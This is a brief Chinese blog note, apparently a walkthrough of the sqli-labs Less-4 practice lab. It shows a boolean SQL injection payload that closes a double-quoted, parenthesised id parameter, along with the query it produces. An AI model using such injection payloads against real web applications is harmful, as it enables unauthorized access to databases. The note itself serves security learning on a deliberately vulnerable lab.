对变量id做了处理。该处理在id前后添加双引号。
?id=1%22%29+and+1=2%23 无显示，可注入
SELECT * FROM users WHERE id=("1")and 1=2#") LIMIT 0,1Less-4
本作品采用 知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议 进行许可
Ricky
这个人很懒，什么都没留下
文章评论